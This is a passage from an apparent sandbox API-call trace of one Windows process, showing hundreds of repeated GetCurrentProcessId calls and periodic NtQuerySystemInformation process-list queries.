0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.133] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.134] GetCurrentProcessId () returned 0x10c0 [0234.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.724] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.725] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.726] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.727] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0234.728] GetCurrentProcessId () returned 0x10c0 [0235.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0236.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.084] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.085] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.086] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.087] GetCurrentProcessId () returned 0x10c0 [0236.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0236.745] GetCurrentProcessId () returned 0x10c0 [0236.745] GetCurrentProcessId () returned 0x10c0 [0236.745] GetCurrentProcessId () returned 0x10c0 [0236.745] GetCurrentProcessId () returned 0x10c0 [0236.745] GetCurrentProcessId () returned 0x10c0 [0236.745] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.746] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.747] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.748] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0236.749] GetCurrentProcessId () returned 0x10c0 [0237.411] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0237.428] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.429] GetCurrentProcessId () returned 0x10c0 [0237.430] GetCurrentProcessId () returned 0x10c0 [0237.430] GetCurrentProcessId () returned 0x10c0 [0237.430] GetCurrentProcessId () returned 0x10c0 [0237.430] GetCurrentProcessId () returned 0x10c0 [0237.430] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.431] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.432] GetCurrentProcessId () returned 0x10c0 [0237.433] GetCurrentProcessId () returned 0x10c0 [0237.433] GetCurrentProcessId () returned 0x10c0 [0237.433] GetCurrentProcessId () returned 0x10c0 [0237.433] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.434] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.435] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.436] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0237.437] GetCurrentProcessId () returned 0x10c0 [0238.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0238.152] GetCurrentProcessId () returned 0x10c0 [0238.152] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.153] GetCurrentProcessId () returned 0x10c0 [0238.154] GetCurrentProcessId () returned 